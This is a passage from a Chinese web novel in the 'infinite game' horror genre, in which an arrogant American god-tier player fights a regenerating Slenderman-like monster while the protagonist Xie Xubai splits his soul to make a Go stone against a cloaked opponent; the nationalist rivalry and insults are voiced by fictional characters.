立马有人跟着惊呼:“这人什么实力啊?这可是S级副本的怪物,居然被他一下弄死了?!” “大佬!这是真大佬!我们有救了!” 危险解除,女玩家跟着松了口气,回头却发现队友脸色怪异,忍不住问:“怎么了?” “……”队友是个三十来岁的男人,长相儒雅随和,戴着一副黑框眼镜。 他捏着准备使用的道具,顾不上回话,凝重地看向出面击杀瘦长鬼影的脏辫少年。 少年抬过头,和他对上眼。 刹那间,眼镜男看见少年挑起嘴角,对他露出一个轻蔑傲慢的笑,像在看被自己踩在脚底的蚂蚁。 眼镜男猛一下攥紧道具。 果然没有听错。 刚才少年裹挟雷电从他身边掠过,他听到头顶传来一声短促的低语。 不是中文,南非那边的小语种系,速度太快,听不清说的是什么,但嘲讽意味十足。 结合脏辫少年目中无人看过来的眼神,估摸是个侮辱人的蔑称。 大部分玩家以为,游戏降临初期,系统是为了离间人类群体才会分割出各大洲区,开启地域限制。 但很少有人知道,最早提出这一点要求的不是系统,是美洲那边的政客。 美洲政客坚决反对均分资源,强烈要求系统按照国力和地域的发达程度来分配空间。 因为玩家的阵营划分不全按人种国籍,可凭意愿选调,他们趁着所有人都没搞清楚规则,用威逼利诱的方式打压其他洲区的玩家,强令一部分跨界国家和没有抵抗力的小国加入美洲,仅仅用来作为扩充地盘的筹码。 此后,又打着“培养救世主”的旗号占领舆论高地,道德绑架其他洲区贡献核心资源。 不得不说这是他们的强项,也是他们惯用的招数,被煽动的人不在少说。 不仅如此,暗地里还派出不少具有魅惑技能的玩家,蛊惑其他洲区玩家更改自己的阵营。 为抢夺人力简直无所不用其极。 得亏中洲区的各位领袖反应够快,发现大量人口失踪的第一时间派人救援。 也得亏当时游戏刚起步,不像现在,大部分玩家都有足够的积分开通私人领地,要是被突然抓进去,那才叫一个“叫天天不应,叫地地不灵”,无从救起。 找到那些失踪玩家的时候,他们和其他洲区的玩家,一并关在临时搭建的破厂房。被注射无名针剂,折磨得神志不清,迷迷糊糊差点签下契约。 不仅忽悠他们更改阵营,还要让他们当奴隶,当间谍,反过来对付自己的洲区! 这件事一出,中洲区的不少领袖勃然大怒,原本打算和其他洲区签订联盟协议也就此作罢,陷入僵局。 中洲区不再彬彬有礼,强硬至极地要求系统开启地域保护。 禁止其他洲区的玩家在没有得到同意的前提下,擅自进入中洲地区,所有对中洲地区的发言、谣言或诋毁都将经过进一步过滤筛选。 从游戏开始到现在,这条互不侵犯的规则一直横跨在中洲区和其他洲区之间。 它像是一堵无形的墙,将明枪暗箭、腥风血雨都挡在外面。 但如今,地域保护解除了,墙也消失了。 不管哪个洲区的玩家,都有好有坏,不能一杆子打死所有人。 但不可忽略的是,在一个文明崩塌且不受法律约束的无限世界,人性中恶的那一面会被放得无限大。 如偏见、欺凌、压榨、歧视。 眼镜男严肃地一拧眉,对一头雾水的队友们低声说:“我有种不祥的预感,恐怕这些人来者不善,大家做好防备。” 得知这次所有洲区的玩家将一起闯关,大家都有准备,如眼镜男,就提前花费高额积分学会了翻译语言的技能。 他看向这个外国小队,为首是个四十来岁的男人。 淡金色的头发和深邃的面部轮廓带着点欧美混血的味道,身穿军事风格迷彩图案的短袖,外搭防弹背心,是国际雇佣兵的装扮。 板寸头,虎背熊腰,眼神凌厉。 疑似队长。 眼镜男推了推眼镜,叫上另一个同样学习了翻译技能的队友,朝雇佣兵壮汉走去。 此时的直播大厅早已炸开了锅。 地域限制,限制的不止是副本背景和闯关者,也限制观众不能随意进入其他洲区的直播间。 现在限制一打开,整个大厅挤满了形形色色的人群。 黑发、红发、金发、褐发……什么颜色的脑袋都有。 从直播屏幕看外国人,和亲眼与外国人来个面对面的感觉到底不一样。 怪异的气氛弥漫开,观众们大眼瞪小眼,一时间陷入死一般的沉默。 直到脏辫少年的出手,打破这一僵局。 不少外国观众当场激动得大吼一通,满脸潮红,像是扬眉吐气一般,冲中洲区的观众嚣张地竖起中指。 中洲区的观众被针对得莫名其妙。 他们也是暴脾气,要不是直播大厅不能使用技能和随便攻击玩家,现在就一拳头挥上去了。 不甘示弱地回了他们两个国际友好手势,中洲观众表面笑盈盈,转过头来烦躁纳闷地问:“这群洋鬼子叽里呱啦发什么疯呢?会翻译的快过来!” 翻译的还没来,倒是有人通过偷瞄直播间的房间号,顺藤摸瓜地找到了眼镜男的直播间。 “现在到底是什么情况,有看大佬给分析分析吗?我刚从小魔术师的直播间过来,坑爹的系统什么线索都没给,规则都不知道是什么。” “我们这边也什么规则都没给,但刚才主播他们遇到了一个穿西装的怪物,喏,就是倒在地上的那一大坨。它能使用幻术将人变成玩偶,刚进游戏闯关者意识颠簸不清醒,好多人都不小心中了招!” “这么阴?能反杀的人是真牛X啊!” “是啊,这可是S级诡王副本的诡怪,而且能使用大范围迷惑技能,至少也是个精英怪,看伤口明显只用了一招!到底是哪位大佬出的手?” 弹幕一时陷入沉默,没人回答。 提出问题的中洲观众看了看这诡异的气氛,又看了看另一边兴高采烈的外国观众,毫不意外地看到又有人龇牙咧嘴地比出侮辱性手势。 当即反应过来,只能是其余洲区的主播杀掉怪物,才让这群人嚣张成这样。 中洲观众忍不住暗骂一声:“X的小人得志!” “什么素质!” “杀个精英怪而已,得意什么啊?” 心里说不出的憋屈。 而前去和雇佣兵交涉的眼镜男,也吃了一鼻子灰。 尽管早有预料,眼镜男还是被他们离谱的要求激怒了,当场气急反笑:“你让我们签契约给你们当死士?凭什么?” 提出这一要求的,还不是雇佣兵队长,是他旁边一个手下。 雇佣兵淡淡地掀起眼皮看他一眼,没开口,下一秒脏辫黑人少年闪现到眼镜男的身边。 电光乍现! 眼镜男瞳孔一凝,飞快举起手臂,嘭一下极限挡住少年携着雷电的重拳,被打退数步,衣服袖子被烧灼焦黑。 “嘿,小垃圾。”脏辫少年操着一口怪异的口音,阴阳怪气地说,“你凭什么拒绝老大的要求,凭你那比乌龟还慢的反应速度?” “你他X——”旁边的队友怒了,被眼镜男拦下。 他严肃地打量着脏辫少年:“美洲区实力榜排行第九的闪电小子,力速双A潜力,我认得你。” 脏辫少年得意地露出一口白牙,但还没开口,就被眼镜男嗤笑打断:“但恕我直言,实力总榜55的排名,实在有点不够看。” 略过脏辫少年惊怒瞪大的眼睛,眼镜男看向为首的雇佣兵壮汉,唤出他的名号:“布莱恩,‘雷神’,我代表【巅峰】公会旗下第三分队长,也代表中洲区外交部组织成员向你提出疑问。” 眼镜男眼神凌厉,咬字清晰,不卑不亢地发出质问:“你让我们签下死士契约,是你的个人要求,还是美洲区,亦或是欧美联合会的意思?” 听到【巅峰】的名号,一直没拿正眼看人的淡金发雇佣兵这才抬起眼皮,没什么感情波动的视线,冷冰冰地落在眼镜男的身上。 “巅峰?” 雇佣兵的视线转了一圈,在眼镜男的手背定格。 那里印着一个中国龙的金纹图案。S形,威风凛凛,怒目圆睁,隐隐散发着威严骇人的力量。 此时它的金纹不断闪烁着,一双眼睛宛若深邃的幽潭,视线交接时,让人油然生出一种强烈的、被睥睨的感觉。 在认知能化作力量的无限世界,只要存在神话传说,就会产生信仰,只要信仰存在,就会有神祇诞生降临。 但在系统的有意限制下,不是每位神明都能苏醒。像涉及到宇宙法则的上帝级人物盘古、宙斯等等,更没有现身的机会。 为了寻找尚在人世的神祇,与祂们签下契约,获得救世的力量,玩家们曾用自己的血肉白骨硬生生堆出一条唤神的路,所幸他们成功了,哪怕付出了极其惨烈的代价。 黄金神龙,就是巅峰会长的契约神祇。 地域保护并不是绝对的,有等级限制,能力强大的人可以越过限制来去自如。 当然,鉴于各个洲区都有契约了神祇的神级大佬,有人闯入也会第一时间感知到,所以一般情况下大家都不会强行入境。 他们通常会意思意思发出申请函,再将神级玩家们的明争暗斗,修饰为:定期的学习交流,偶尔的友好切磋。 至于巅峰,大概是其他洲区强者们最不想招惹的那群人。 他们继承了中洲军人的意志,在其他洲区神级玩家都想着怎么明哲保身的时候,他们心里想的,却是怎么用自己的死亡,换来更多的利益。 “换一个不亏,换两个血赚。”这句充满血腥气的话,一度让外国玩家费解,并毛骨悚然。 还有一点,巅峰的人护短。 而且是——非常、非常、非常的护短。 淡金发雇佣兵缓声开口道:“不好意思,没认出来巅峰的朋友们。” “只是我以为。”他的目光由高至下,瞳孔萦绕着紫色的雷光,犹如悬在头顶的铁锤,“弱者服从强者,是常识——” 雇佣兵的声音并不像他长相那样粗犷,相反,称得上温厚。 但他的眼神和态度,却极具压迫感,好像下一秒就会捏住不服气的人的脑袋,将他们狠狠地掼在地上! 眼镜男当即沉下脸。 直播间的中洲区观众怒火冲天。 美洲区观众则是一片热火朝天,沸腾狂呼! 他们完全不认为金发雇佣兵的盛气凌人,是在欺负弱小。他们为他的强硬威武自豪。 中洲区观众磨牙凿齿:“靠,我们真的不能过去揍人?” “这个鼻孔朝天的男人到底是谁啊?好想给他一拳!” 也有人瞄见雇佣兵直播间高得可怕的热度值,发现不对劲,翻出对方的身份信息,当场汗流浃背地喃喃:“完犊子了,怎么会是他?” 有人追问:“他到底是谁?” “他的昵称是布莱恩.奥丁森……” “奥丁森?”有人觉得这外国姓氏怪熟悉的,忽然想起一个好O坞电影里经常提到人物,脱口说道,“奥丁不是北欧神话中的众神之王吗?” 接着他看见同伴极其难看的脸色,倒吸一口凉气:“该不会?” “对,布莱恩的姓氏就是照着奥丁改的,他是全洲区实力总榜排名第六的神级玩家。”这名观众越说下去,心越沉,“传闻他在副本中获得了神明的力量,而和他签下契约的神,正是雷神托尔。” 这一刻,附近听到这话的中洲区观众,纷纷心脏猛一下揪紧! —— 谢叙白的那句反问似乎杀伤力极大,一直到谢叙白再次看向棋盘,斗篷人都在冰冷地对他投以死亡注视。 看来“没人爱”是真的戳到了ta的痛处。 一般的连环杀人狂,都是天性凉薄、毫无人性的反社会高危分子。 斗篷人这么在意“爱”,说实话,有点出乎谢叙白的意外。 如果深究下去,是否能借此找到斗篷人的软肋,再进一步找到杀死对方的办法? 谢叙白看向斗篷人指尖摩挲的棋子,片刻后,淡然道:“似乎我不落子,你也没法继续落子。” “废话。”斗篷人冷笑,“哪家的围棋能连落两子?” 连落两子是犯规,会直接输掉一整局棋。 谢叙白略微沉吟一下,瞄向斗篷人座下的棋子。 最底下那枚的表面溢出朦胧的雾气,像丝滑如烟的墨色绸带。 正是被投入棋盘世界的黑子。 但它没有消失。 瘦长鬼影被击杀的时候,谢叙白特意观察,发现它仍旧好端端地悬在半空,没有任何变化。 那只说明一个恐怖的事实。 谢叙白忽然淡声询问:“你的棋子被玩家杀死了,你就一点都不担心么?” 斗篷人看着他,扯了扯嘴角。 谢叙白说:“还是它根本就没有死?” 约莫十多秒的沉默。 斗篷人忽然轻笑一声。 ta单手懒散地撑住下颚,眼波流转,尽显嘲弄,说出的话言简意赅,叫人遍体生寒:“你什么时候看见过棋子被棋盘杀死的?” 那嘲弄并非对着谢叙白。 而是棋盘世界里,无数个自诩强大,却对自己的处境一无所知的玩家。 —— 瘦长鬼影倒下去的时候,眼镜男的同伴自然没忘记跑过去检查。 这可是S级诡王副本,一点不小心就能要了命,不刻意补刀的话,诡怪再诈尸的可能性堪比百分之一百。 一顿疯狂狠捶,又用火烧又用冰冻,把瘦长鬼影的尸体磨成粉,骨灰直接扬了,他们悬在嗓子眼的心脏才勉强落了回去。 推车下面围着不少毛绒绒、巴掌大的玩偶,它们是被异化的玩家,正顺着推车的金属支架,哼哧哼哧地往上爬。 观望的玩家谨慎地凑过来,观察玩偶的小衣服,认领自己的同伴。 通讯录中,玩偶化玩家的名字没有灰下去,意味着没有彻底死亡。 或许他们能在接下来的试炼中,找到帮同伴们恢复人形的办法。 也是这个时候,一股极度阴寒的气息从背后侵入玩家们的四肢百骸,巨大的阴影从头临下。 “各位可爱的女士先生们啊~”诡谲欢快的声调毫无征兆地响起。 玩家们浑身一僵,莫大的恐惧如潮水般袭上心头,不敢置信地回头。 早已“死去”的绅士瘦长鬼影就站在身后,几乎贴到他们的后背。 他们感受到呼吸不畅,空气变得异常黏稠。黏稠的冷空气像一条软软的、滑腻的舌头,争先恐后地从口鼻钻进去,探入脏腑。 他们惊恐地看见自己的手上逐渐出现童话书般可爱的花色。 那是玩偶布料的纹路。 瘦长鬼影嘴角往上,勾出一个不可思议的弧度,几乎裂到耳根,像用白油彩画上去的一样。 渗人阴森的非人感扑面而来,它的眼睛弯成一条缝,绅士礼貌地微微笑:“黑王的游戏就要开始了,你们也想要跟我们一起参加吗?” 第175章 “我是你们的引导NP…… 周围的玩家逃无可逃,被笼罩在瘦长鬼影扭曲庞大的阴影下,身体的各个部位像感染瘟疫般飞快爬满五颜六色的花纹。 直播间的观众满脸惊悚。 “这到底是什么怪物,被挫骨扬灰了还不死?!” 突如其来的异变自然引起了两个小队的注意。 眼镜男顾不上继续和布莱恩对峙,对队员大吼一声:“先救人!” 同时他手里的道具飞快膨胀变大,眨眼间形成一个巨大的防护罩,将大部分玩家护在其中。 隔绝空气似乎能有效挡住污染,被护住的玩家,皮肤上的花纹终于不再蔓延。 但仍有少部分玩家处于危险之中。 他们的动作越来越僵硬,像生锈的木偶,一卡一卡地转过头,似乎想要呼救,可嘴巴怎么都张不开。 仔细一看,才发现那些人的嘴巴居然变成一条微笑的细长弧线,像用针线缝出来的一样。 终于意识到自己难逃一劫,他们逐渐空洞的眼神里满是绝望。 有人见状,心都凉了。 这是何其恐怖的污染能力! 眼镜男鬓角冷汗淌下,对上那些绝望的玩家,面上掠过一抹不忍。 他是外交部的,被分到后勤组,本身就不像巅峰第一、第二分队那样擅长战斗。 何况瘦长鬼影等级不详、身份不详、实力强大,疑似杀不死。 有经验的他当机立断决定先行撤退,保住大部分玩家,之后再考虑怎么救援。 可眼镜男没想到,一个“撤”字没来得及出口,布莱恩突然不屑地瞥了他一眼,化作残影消失在原地。 下一秒,身后猛一下爆出惊天动地的雷鸣! 轰隆隆—— 才复活没多久的瘦长鬼影被大片雷潮吞没。 亮白雷电如蛇般纵横交织,高温烧灼产生剧烈冲击,地皮裂开碎石飞溅,整条街道被映得亮如白昼! “啊!我的天!”被刺痛双眼的玩家们连忙闭眼转头。 不消多时,雷电缓缓散去,地面还跳动着几道惨白的电丝。 瘦长鬼影站立的地方只剩一个偌大的窟窿,土砾层遍布狰狞的焦痕。 而瘦长鬼影,更是被烧成一堆漆黑的人形灰烬,歪歪扭扭,薄薄一层,风一吹,便散了个干净。 瘦长鬼影再次被干掉,本来是一件好事,但刚才它的身边可是围了一圈玩家。 布莱恩出手毫无顾忌,眼镜男拦都拦不住,眼睁睁地看着那些玩家被炸飞。 本来玩偶化的玩家还不算彻底死亡,还有救下来的可能。经过雷潮的洗礼,怕不是里里外外都被电成了焦炭,死得不能再死! 巅峰第三分队的成员连忙跑过去查看那些人的情况。 当事人丝毫没有杀了人的自觉,食指隔空点点脏辫少年的鼻子,居高临下地教育:“连个普通的S级诡怪都杀不死,回去你必须跟着新人们一起训练,还有,让安娜没收了你的游戏机。” 眼镜男伸在半空的手因愤怒而止不住地颤抖,怒吼道:“布莱恩!” 脏辫少年盯着瘦长鬼影的焦痕,从惊异中回神,仍因为心头的一丝怪异惴惴不安,蠕动嘴唇:“不是,布莱恩,这头诡怪很奇怪……” 没有说完,就被布莱恩不耐烦地挥手打断。 他的傲慢显而易见,不管是对陌生人还是队友。 跳跃的电流让布莱恩显得像一头威风凛凛的雄狮,全身上下能称得上稳重有礼的地方,大概也只有那充满磁性的嗓音了。 布莱恩扭头看向怒不可遏的眼镜男,倨傲地抬了抬下巴:“我的本事你已经见识到了,带着你的人现在就签订死士契约,还是被我打服后再签契约?” * 看着心高气傲的布莱恩,像看着一个跳梁小丑,斗篷人饶有兴味地对谢叙白微微一笑:“他真是自负得可爱,不是吗?” 谢叙白没说话。 斗篷人:“你该下定决心了谢叙白,要是再拿不出一枚棋子,所有的玩家都要死——不管是参加了这场游戏的,还是没参加的。” 听出他话里的深意,谢叙白抬头看了他一眼,嘴角一点点绷直。 “我就喜欢你生气动容的样子。”斗篷人笑起来,仿佛很是满足般幽幽一叹,“让我忍不住想把你逼得更紧一点。” 话音刚落,棋盘上唯一的那枚黑棋,骤然剧烈地震动起来。 * “布莱恩!”黑人少年猝然尖叫。 似乎很少听到队友叫得这样惊恐,布莱恩下意识转头,正对上一张渗人的笑脸。 那笑脸大如磨盘,和错愕的布莱恩对视在一起,就像长着獠牙的猛犸象在幽深凝视不知死活的家猫。 所有人的心脏猛然下沉,宛若坠入冰窟窿,冷得彻骨。 瘦长鬼影再一次出现了,完好无损的。 而且这一次,那个仿佛焊死在鬼影脸上的微笑,竟在一点点地变淡,最后冷冰冰地往下撇了撇。 它笑的时候叫人觉得恐怖,不笑的时候有股濒临狂暴的愤怒感,更让人毛骨悚然。 瘦长鬼影缓慢说。 “人类,你们真的很没有礼貌。” “我友好地向你们发出邀请,但你们居然想要杀死我。” “或许我应该向尊贵的黑王请示,不是所有来到游戏王国的人,都能被称之为客人。” “现在,让我们把没有礼貌的臭虫们的清理出去吧。” 它的话还没有说完,满脸惊讶的布莱恩再一次发起攻击。万千雷霆咆哮着凝聚在他的右手臂上,轰一声击打在瘦长鬼影的胸口,硬生生砸出一个大洞! 但是没有穿透,也没有血。 被砸凹陷下去的身体就像皮筋一样弹了回来。 在布莱恩不敢置信的目光中,瘦长鬼影懒洋洋地挥动手杖,一拐杖狠狠地抽在他的脸上,不容抵抗的巨力将脸皮抽得凹了进去。 嘭! 倒飞出去的布莱恩撞断了旋转木马的金属栏杆,在石台砸出偌大的坑洞,没有支撑的棚顶骤然坍塌,烟尘弥漫,一片狼藉。 “哦!”瘦长鬼影皱起眉头,厌憎至极地说道,“今天游乐场的所有损失,都要用你们的命来偿还!” “布莱恩!”脏辫少年怒叫一声,身体化作一道迅猛的雷电,朝瘦长鬼影全力踢了过去。 第一次他就是这样“杀死”的瘦长鬼影,脏辫少年被称为“闪电小子”,就是因为他有不下于神级玩家的S级速度,动起来根本肉眼难寻。 可面对这势如破竹的攻击,瘦长鬼影只是轻轻地一抬胳膊,便用干瘦的爪子,轻轻松松地抓住了他的脚踝,咔嚓一声,将骨头带皮肉拧成血淋淋的麻花。 “啊啊啊啊啊!”脏辫少年冷汗直冒,大声痛呼。 眼镜男意识到事态严峻,朝队友大喝:“不对劲,布莱恩再不济也有神级玩家的数值,这头诡怪能在他的攻击下分毫不伤,至少也是个小BOSS!你们快带着其他人撤离!” 女玩家反应力极快,一边使用防护屏障隔绝污染,一边和同伴们疏散还有行动能力的玩家。 回头却看见眼镜男留在原地,焦急大喊:“走啊队长!” 眼镜男没有走,不是分不清轻重缓急,而是看见废墟中冒出一个鼓包,布莱恩推开栏杆铁架,缓缓站了起来。 布莱恩灰头土面,浑身都是泥土血污,呸的一声吐出嘴里的血沫。 紧接着空气中传来刺耳的爆鸣,亮白雷电穿透空气划出一条笔直的线,直直地撞在瘦长鬼影的面前,电流噼里啪啦,猛一下捏断它抓住脏辫少年的利爪。 脏辫少年掉在地上,痛苦地捂住脚踝,想劝他撤退:“布莱恩,这头怪物并不普通……” 布莱恩说:“我会打爆它。” 脏辫少年还想说点什么,抬头看见布莱恩恐怖的神情,猛一哆嗦,咬咬牙,忍痛跌跌撞撞地跑到眼镜男的身边。 “傻子,别在这儿愣着!布莱恩生气了,雷暴要来了!”脏辫少年满脸扭曲地骂道。 轰隆隆—— 本就阴沉的天空忽然狂风大作,不消片刻在游乐场顶上凝聚起大片厚重的乌云。 粗壮的雷霆宛若银白游蛇四处窜动,抬头一看,只有漫天雷电,裹挟着风雨欲来的威势,狂吼声震彻天地。 这是真正的神之威,方圆百里的空气都在颤动,潜藏在游乐场阴暗角落的诡怪全在瑟瑟发抖。 布莱恩盯着瘦长鬼影,眼眶里的眼球变成刺目的电流,看起来像两个镭射枪口。 “上帝知道我有多久没有感受到这样的疼痛了。”布莱恩狰狞着脸,嗓子里滚出嗬嗬怒音,“怪物,你很有胆量。” 待人群撤离到至少一千米开外,又用十多个A级防护罩叠满防御,蓄满十亿伏特的高压雷电垂直划破半边天幕,惊天动地,震耳欲聋地砸向布莱恩和瘦长鬼影所在的位置! 轰隆隆——! 铺天盖地的雷暴在钢铁建筑群中疯跳,大地震动,房屋倒塌,像核武爆炸般整个世界全是雷光,强大的冲击呈环形涤荡而出,A级防护罩就像被锤子敲打的玻璃罩,一层层地破碎! 脏辫少年和他的同伴们一个激灵,连忙掏出道具补上防护罩,充满熟稔的求生欲。 不知道怎么和他们躲在一起的巅峰第三分队顿了顿,也跟着拿出防护道具。 有玩家忍不住睁开眼睛,差点被雷电的威芒闪瞎眼,刺激得泪水横流。 直播大厅一片寂静,只有轰然雷鸣。 不夸张地说,大部分观众都是第一次看见神级玩家出手,隔着屏幕也能感受到难以抵抗的力量,心情怎一个震撼难言。 这场雷暴足足持续了十多分钟的时间,结束后,所有人都有些恍惚。 特别是现场的玩家。 那电光连视网膜都能穿透,需要用手挡住才不会太难受。 他们适应了好一会儿,才颤颤巍巍地睁开眼睛,被眼前的一幕吓了一大跳。 半个游戏场都被毁了! 火焰烧灼铁皮外的塑料壳,地面布满坑洞和一道道裂缝,钢筋和水泥裸露在外,空气中弥漫着浓郁的焦臭味,土砾缝隙滋滋冒着黑烟,细小的电流在地表流窜。 满目疮痍。 玩家们面面相觑,小心翼翼地探头张望。 在他们的面前,有一个直径长达几百米的深坑,大片浓郁的黑烟往上飘散,滚烫的热气扑面而来,风一吹,裂缝中呼呼蹿出橙红色的火星,宛若岩浆流淌。 深坑的最中间躺着一个人。 是布莱恩。 那么强烈的雷暴打下来,他身上的衣服几乎都破碎了,可是他浑不在意,站起身,随便从背包拿出一件披上。 瞥一眼瘦长鬼影的坟位,那里只剩一片焦土。 战胜强大的对手似乎让他非常高兴,布莱恩蔑视桀骜地哼笑,如同捍卫自己的地位:“倒霉鬼,下辈子记住不要挑衅我。” 头也不回地往前走。 直播间的观众心神俱震,议论纷纷。 “死,真的死了吗?” “死了吧……那么多道雷,估计被劈得渣也不剩了。” “我的老天爷啊,这就是神级玩家的实力吗?” “布莱恩看起来根本不觑巅峰的名头,徐队长他们怕是遇到大麻烦了!” “什么不觑啊,布莱恩就是个一根筋的二愣子,根本听不懂好赖话。” 徐队长就是眼镜男。 也有观众觉得这一次的副本情况不太妙。 “但你们不觉得可怕吗,试炼开始不到一个小时,出现的第一只诡怪,竟然只有神级玩家能对付,那其他实力不够的玩家岂不是只有原地等死的份儿?” 有人乐观猜测:“或许是因为有个记录【9】,系统判定我们很有可能赢下无限游戏,所以暗地里加大了难度。我们很有希望啊!” 其他人纷纷觉得这说法挺对的,突然听到美洲区那边传出山呼海啸般的欢呼。 有观众连衣服都脱了,往天上乱抛,呼啦呼啦地叫和吼,像擂战鼓一样,激昂地高呼:“雷神!雷神!……” 在热烈的称赞崇拜中,不乏有学习了语言技能的布莱恩迷弟朝中洲观众挑衅:“垃圾,弱者,只配跪下来臣服!” “现在就求饶吧。” “一会儿要被揍哭。” 听得中洲区观众火冒三丈,憋屈至极,非常想要自家的神级玩家出面,狠狠打其他洲区的脸。 然而《游戏之家》似乎也和前几次试炼副本一样,被复制成了无数个单独运行的副本,没有使用组队道具的玩家将被随机分配,复制本和复制本之间没有连接通道,根本见不上面。 “杀个怪而已,需要这么得意吗?” 钢管风笛都拿出来了,演唱会是吧?! 以前怎么没发现这群外国人这么喜欢当显眼包,跟耀武扬威的猴子似的! 有人低声唾骂:“我们又不是没有神级玩家,X的一群洋鬼子,小心等会儿阴沟里翻船!” 平心而论,这名观众只是气不过骂一骂。 却没想到,下一秒激情澎湃的其他洲区观众脸色大变,笑容逐渐僵硬。 他们像看到什么不敢置信的事情,死死地盯着直播屏幕,猛然捂住嘴,瞪大眼睛,脸色惨白,倒吸一口凉气。 “oh my god……” 副本里的布莱恩也猝然僵住了。 汩汩鲜血从他胸口破开的大洞中流淌,顺着瘦长鬼影干瘦的爪子滴落在地。 啪嗒,啪嗒…… “……why?” 布莱恩边说话,边往外吐出血沫,震惊地缓缓扭头。 你,怎么可能,还没死? 那可是,蕴含着神力,能击穿龙卷风,蒸发大海,把布鲁克斯山脉都劈碎的一击。 瘦长鬼影的笑脸和他对在一起,还是那样的阴森诡谲,让人发自内心地感到战栗。 不同的是,这一次,战栗和寒冷也在布莱恩的心头蔓延。 随着布莱恩疯狂颤动的瞳孔,一点点将他的骄傲碾碎。 数不清的黑线从瘦长鬼影的身上散开,扎穿布莱恩的身体,将痛叫的壮汉死死地钉在地上。 同时又有大片的阴影,如潮水从瘦长鬼影的身下朝外蔓延,追向恐慌逃窜的其他玩家。 直播间。 “完了完了完了啊!!” “X的系统又在搞鬼!这头怪物的数值要是没问题,我吃——” “别愣着啊!手头充裕点的快给他们打赏!不管怎么说,先想办法逃掉再说!” “打赏有什么用,你没看到神级玩家都歇菜了吗?!商城里卖的那些道具还能比得上神的力量?” 消极的弹幕又冒了出来:“哈哈哈哈哈!都说过没希望了,趁早洗洗睡吧。” 有人回复:“楼上的,你再乱哔哔信不信老子顺着网线过来捶你!” 弹幕乱成一锅粥。 作为观众他们还能怎么办?这场关乎全人类的试炼,难道他们就只能眼睁睁地看着?神级玩家都杀不死的怪物,恐怕只有神…… 等一等。 神? 是啊!是啊!神! 有观众反应过来,面色潮红,激动得像抓住最后一丝希望:“谢叙白!我们可以向谢叙白祈祷,祂不是说过吗,走投无路的时候可以呼唤祂的名!!” 有人跟着想到这点,一样激动。 也有人面露迟疑:“呼唤谢叙白的名字真的有用吗?” “之前有人在试炼池训练的时候尝试呼唤祂,祂从来都没有出现过……” “而且我们是观众,要呼唤,也是副本里走投无路的闯关者呼唤才有用吧?” 但事到如今,他们别无办法。 抱着死马当活马医的想法,他们闭上眼睛,在心里惴惴不安地祈祷,衷心地请求。 于是其他洲区的观众惊奇看见,有不少中洲区观众突然安静下来,双手合十,眼睫颤抖,嘴里念念有词。 他们骇然:“你,你们这是在干什么?” 这是什么邪教仪式吗? “别废话了!”最近的中洲区观众简直懒得理会他们,但想着多一个人,多一分成功的可能性,直勾勾地看过去,严肃地冷声道,“你们要是想要救回你们的神级玩家,就跟我们一起唤祂的名。” 旁边,随着一遍又一遍地呼唤谢叙白的名字,冥冥中仿佛产生某种玄妙的连接,一些中洲玩家眉梢渐缓。 被神关注是一种什么样的感觉?很奇妙,让他们用言语描述的话,形容不出来。 只知道当那温柔的目光,隔着遥远的空间轻轻落在身上时,整个人都好似被温暖的阳光照耀。 他们好像回到婴儿时期,蜷缩在母亲温暖的羊水中,感受到无限的安宁,经不住热泪盈眶,心里不受控制地冒出一个冲动。 想要永远地呼唤祂,永远地被祂温柔注视。 谢叙白。 谢叙白…… * 代表信仰之力的线条飘动在谢叙白的手边,像星光璀璨的银河,一些颜色较浅,一些凝成纯金色,足足有数百根,不断传出观众们虔诚真挚的呼唤。 谢叙白腾出一只手搭在这些线条上,指尖凝着精神力,不断安抚他们躁动不安的心神。 按照斗篷人的性情,看到谢叙白这种像照顾幼儿园小朋友的体贴行为,高低ta都要嘲讽几句。 但现在ta顾不上。 ta甚至没有阴阳布莱恩放出的这一场“烟花”好看。 只因ta的所有注意力,都凝聚在谢叙白的另一只手掌上,瞳孔骤然扩张,长达十多分钟,没有挪动半分。 ta忽地哈一声笑出来,仿佛看见一件极其荒谬可笑,又确实震惊住了ta的事情,沙哑粗糙的嗓音一字一顿:“我该说不愧是你吗?谢叙白,谢、大、圣、人。” 谢叙白没说话。 话痨的斗篷人,罕见的没有用那张连珠炮一样的嘴叭叭个不停。 ta沉默半秒,缓慢地问:“你知道自己在做什么吗?” “你知道精神体相当于灵魂的一部分吗?知道对没有成神的人来说,失去自己的精神体会有什么样的下场吗?” 斗篷人的眸色沉了又沉,像是咬着后槽牙在说话,掷地有声:“你趁着我不注意,将自己的精神体分裂出一部分制作棋子时,有想过会这么痛苦吗?” 谢叙白还是没说话。 他左手搭上信仰线,有一搭没一搭,抚慰着不安的观众。 右手则摊开,掌心向上,分裂的精神体被一寸寸强行压缩,直至凝聚成一枚玉白的棋子。 白棋散着澎湃柔和的金色光晕,圆润漂亮,小巧剔透,像传世大师倾注心血才能制造出来的艺术品,与骨节分明、冰雕雪砌的手掌相得益彰。 这个画面看起来神圣无害且赏心悦目。 但对谢叙白来说,不亚于从生死线上走一遭。 分裂精神体和凝聚出精神体分身是不同的,相当于一条绳子,后者是在绳子上打结,前者却是活生生将绳子剪短。 这也是谢叙白刚才为什么会显得有些沉默,他怕被斗篷人察觉端倪。 如今棋子成形,谢叙白终于能够放松。 微微有些颤抖的指尖在金丝眼镜上一碰,拟态伪装解除,露出他真实的状态。 分裂灵魂的痛,一般人怕是会痛得死去活来,昏厥过去。 谢叙白纯靠意志力支撑,醒着,却好不到哪里去。 他的脸色惨白如纸,唇瓣没有一丝血色,胸口的起伏接近于无,呼吸轻得像风。 豆大的冷汗凝聚成股,从谢叙白的额头滑落,沉甸甸地坠在浓密睫毛上,映出一圈深邃的阴影。 他虚弱无力地抖了抖眼睫,啪嗒一声,晶莹汗珠滴在棋桌上,绽成细碎的水花。 这样的谢叙白,让人想起古代病骨沉疴的翩翩温雅公子,虽美丽得惊艳四座,却如同昙花一现,破碎感十足,像价值连城的琉璃玉,让人忍不住想要捏在手里好好把玩。 却听啪的一声响。 白棋落在棋盘上的声音如清泉击石,脆音灌耳。 斗篷人忽地从恍惚中清醒。 谢叙白轻喘一口气,借此找回几分力气。 失去血色的薄唇微微张开,声音是虚弱的,态度是冷淡且不容置疑的。 “我们现在谁也杀不了谁,让你的棋子停手,然后撤退。” 棋分很多种,但斗篷人说这是围棋。 围棋,顾名思义,用自己的棋子把敌人的棋子围起来,就算胜利。 一颗棋子包围不了另一颗棋子,这样胶着下去没有任何意义。 